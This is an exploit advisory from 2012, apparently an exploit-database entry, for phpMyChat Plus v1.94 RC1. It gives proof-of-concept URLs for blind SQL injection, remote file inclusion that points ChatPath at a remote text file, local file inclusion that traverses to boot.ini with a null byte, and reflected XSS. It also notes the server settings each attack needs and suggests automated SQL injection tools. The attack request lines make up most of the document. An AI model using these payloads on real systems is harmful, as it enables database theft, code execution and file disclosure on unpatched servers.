64 lines
No EOL
1.9 KiB
Text
64 lines
No EOL
1.9 KiB
Text
############################################
|
|
### Exploit Title: phpMyChat Plus v1.94 RC1 Multiple Remote Vulnerabilities
|
|
### Date: 04/10/2012
|
|
### Author: L0n3ly-H34rT
|
|
### Contact: l0n3ly_h34rt@hotmail.com
|
|
### My Site: http://se3c.blogspot.com/
|
|
### Vendor Link: http://sourceforge.net/projects/phpmychat/
|
|
### Software Link: http://sourceforge.net/projects/phpmychat/files/latest/download
|
|
### Version: 1.94 RC1
|
|
### Tested on: Linux/Windows
|
|
############################################
|
|
|
|
1- Remote Blind SQL Injection :
|
|
|
|
# P.O.C :
|
|
|
|
http://localhost/plus/users_popuph.php?B=1&From=remotelogin.php&L=hebrew&LastCheck=[Blind SQL]
|
|
|
|
----------------------------------------------------------------------------------------
|
|
|
|
2- Remote File Inclusion :
|
|
|
|
# P.O.C :
|
|
|
|
http://localhost/plus/install/old/install.php?ChatPath=http://127.0.0.1/c.txt?
|
|
|
|
----------------------------------------------------------------------------------------
|
|
|
|
3- Local File Inclusion :
|
|
|
|
- Based on this exploit :
|
|
|
|
http://www.exploit-db.com/exploits/17213/
|
|
|
|
# P.O.C :
|
|
|
|
http://localhost/plus/install/old/install.php?ChatPath=../../../../../../boot.ini%00
|
|
|
|
http://localhost/plus/install/old/install.php?L=../../../../../../boot.ini%00
|
|
|
|
---------------------------------------------------------------------------------------
|
|
|
|
4- XSS :
|
|
|
|
# P.O.C :
|
|
|
|
http://localhost/plus/input.php?D=20&From=remotelogin.php&L=serbian_latin&N=10&NT=1&O=1&R=Public Room 1&ST=1&T=1&U=[XSS]&Ver=H
|
|
|
|
http://localhost/plus/users_popuph.php?B=1&From=remotelogin.php&L=chinese_traditional&LastCheck=[XSS]
|
|
|
|
|
|
############################################
|
|
|
|
# Notes :
|
|
|
|
1- For Remote Blind SQL Injection ( you can use some automatic blind sql injection to get database informations ).
|
|
|
|
2- For Remote File Inclusion ( must be allow_url_include=On ).
|
|
|
|
3- For Local File Inclusion ( must be magic_quotes_gpc = Off )
|
|
|
|
4- For XSS ( you must have a good brain :p )
|
|
|
|
# Greetz to my friendz |